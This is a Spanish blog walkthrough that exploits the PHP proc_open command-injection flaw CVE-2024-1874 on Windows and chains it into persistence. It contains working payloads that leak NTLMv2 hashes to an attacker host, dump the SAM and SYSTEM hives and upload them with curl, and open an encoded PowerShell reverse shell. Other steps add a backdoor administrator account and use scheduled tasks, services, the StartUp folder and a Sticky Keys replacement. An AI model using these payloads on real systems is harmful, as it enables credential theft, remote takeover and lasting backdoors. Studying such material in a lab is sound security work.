A mediados del pasado mes de Abril se publicaban los detalles técnicos de esta vulnerabilidad crítica en PHP, la misma se referenciaba con el identificador CVE-2024-1874 y se trata de la posibilidad de inyectar comandos a través del parámetro $command (array-ish) de proc_open, esto es debido a un manejo inadecuado de la línea de comandos en Windows (en principio solo afecta a este sistema operativo).

El usuario Ry0taK que viene referenciado en los créditos de la publicación base, comenta los siguientes detalles:

Además acompaña de una prueba de concepto (PoC) que es muy fácil de leer y entender. Veamos como aprovecharla en nuestro laboratorio:

La versión que estoy empleando en el laboratorio es PHP 8.3.4, es decir, se trata de una versión vulnerable.

En la prueba de concepto (PoC) se indica que es necesario disponer de un fichero .bat o un fichero .cmd, algo como esto:

Luego generaremos un fichero PHP con esta base de código fuente que nos permite aprovechar la vulnerabilidad.

Llevaremos ambos ficheros creados al host Windows objetivo y al ejecutarlo obtendremos el siguiente resultado:

En primer lugar se ejecutará el contenido del fichero .cmd y posteriormente se ejecutará el comando que indicamos en el fichero PHP, en este caso simplemente fue un whoammi.

Ahora bien, vayamos un poco más allá y exploremos las posibilidades que nos permite la explotación de esta vulnerabilidad en un escenario de post-explotación, cuando estemos intentando ganar persistencia en nuestro compromiso.

Schtask

Las tareas programadas (Schtask) es un vector bastante empleado para este tipo de propósito, en este caso lo pondremos en marcha a través del siguiente comando:

schtasks /create /sc minute /mo 1 /tn "EvilTask" /tr "C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" /ru "SYSTEM"

El fichero PHP que emplearemos en este caso es:

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c dir \\\\192.168.10.6\\foo"], $descriptorspec, $pipes);
proc_close($proc);
?>

Que básicamente disparará una llamada al host del atacante que estará ejecutando responder para hacerse con los hash NTLMv2 de la cuenta de la máquina.

responder -I enp0s3 -v

Algunos otros comandos que podrán hacernos falta en las pruebas son:

schtasks /query /tn EvilTask -> Consultar por una tarea programada
schtasks /delete /tn EvilTask /f -> Eliminación de tarea programada

Ejecución de servicio

La creación y posterior ejecución de servicio es otro vector muy común para obtener persistencia. Apoyados en esta vulnerabilidad de PHP, en este caso emplearemos el siguiente código fuente:

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c reg save hklm\sam C:\PHP\sam.copy && reg save hklm\system C:\PHP\system.copy && curl http://192.168.10.6:8000/upload -X POST -F files=@C:\\PHP\\sam.copy && curl http://192.168.10.6:8000/upload -X POST -F files=@C:\\PHP\\system.copy"], $descriptorspec, $pipes);
proc_close($proc);
?>

Donde básicamente estaremos generando un volcado de los ficheros SAM y SYSTEM del objetivo y posteriormente lo estaremos subiendo a un servidor del atacante.

El servicio lo crearemos y ejecutaremos de la siguiente manera:

sc create EvilSvc binpath= "cmd.exe /k C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" start= "auto" obj= "LocalSystem"
sc start EvilSvc

Cabe destacar que es posible que obtengamos este error al intentar ejecutar el servicio creado, sin embargo el comando finalmente es ejecutado y por tanto la vulnerabilidad de PHP finalmente es aprovechada.

Del lado de atacante, al disponer del servidor python para la subida de ficheros, recibirá la siguiente conexión registrada en los logs:

python3 -m uploadserver -> Levanta servidor python para la subida de ficheros

Finalmente el atacante podrá obtener los hashes NTLM de los usuarios locales del sistema objetivo:

Algunos otros comandos que podrán hacernos falta en las pruebas son:

sc query EvilSvc -> Consulta del servicio
sc delete EvilSvc -> Eliminación de servicio

Carpeta StartUp

También podremos aprovechar el directorio donde se colocan los programas que se ejecutan al inicio del sistema para la persistencia.

Ruta: C:\ProgramData\Microsoft\Windows\Start Menu\Programas\StartUp

En este caso el fichero PHP obtendrá la ejecución de una reverse shell generada mediante el C2 Villain:

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG
8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBl
AG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQ
AuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4AMQAwAC4A
NgAnACwANAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG
0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3
AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIA
AkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUA
dwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAE
kARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAk
AHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdA
ByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMA
IAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgAC
gAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABz
AGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMA
AsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0A
OwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAG
UAbgA="], $descriptorspec, $pipes);
proc_close($proc);
?>

Por tanto, un usuario que inicia sesión normalmente:

Conseguirá disparar la explotación de la vulnerabilidad crítica de PHP, que en un primer momento se mostrará así por unos pocos segundos:

Para posteriormente minimizarse y tan solo reflejarse así:

Del lado del atacante, desde el C2 Villain, se conseguirá el siguiente resultado:

Este framework nos permite interactuar con el objetivo, ya sea a través del envío de comandos o simplemente conectado al mismo:

Sticky Keys

Por último tenemos el aprovechamiento de la característica conocida como «Sticky Keys» del sistema:

Que más que nada podría considerarse como una técnica para «backdoorizar» el sistema, ya que para disparar esta funcionalidad necesitaremos ejecutar múltiple veces la tecla Máyus.

En este caso, inicialmente necesitaremos un fichero ejecutable, que lo reemplazaremos con el ejecutable sethc.exe del sistema. Podremos generarlo de la siguiente manera:

msfvenom --platform Windows -p windows/exec CMD="C:\PHP\php-8.3.4\php.exe C:\PHP\fichero.php" -f exe -o command.exe

Si intentamos directamente realizar el reemplazo del ejecutable, obtendremos el siguiente error:

Por tanto, previamente será necesario asumir la propiedad del ejecutable (sethc.exe) y habilitarnos los privilegios necesarios.

takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant "%username%":F
copy /y C:\PHP\command.exe C:\Windows\System32\sethc.exe

Después de esto, podremos centrarnos en el fichero PHP:

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["C:\\PHP\\fichero.cmd", "\"&cmd.exe /c net user attacker P@ssw0rd! /add && net localgroup administradores attacker /add"], $descriptorspec, $pipes);
proc_close($proc);
?>

Que en este caso, lo que haremos es generarnos un nuevo usuario local en el sistema y atribuirle privilegios de administrador. A continuación las evidencias:

Nada más después de disparar este método, ya podremos iniciar sesión en el sistema mediante el usuario local recientemente creado.

Validando la creación del usuario podremos evidenciar sus propiedades:

Referencias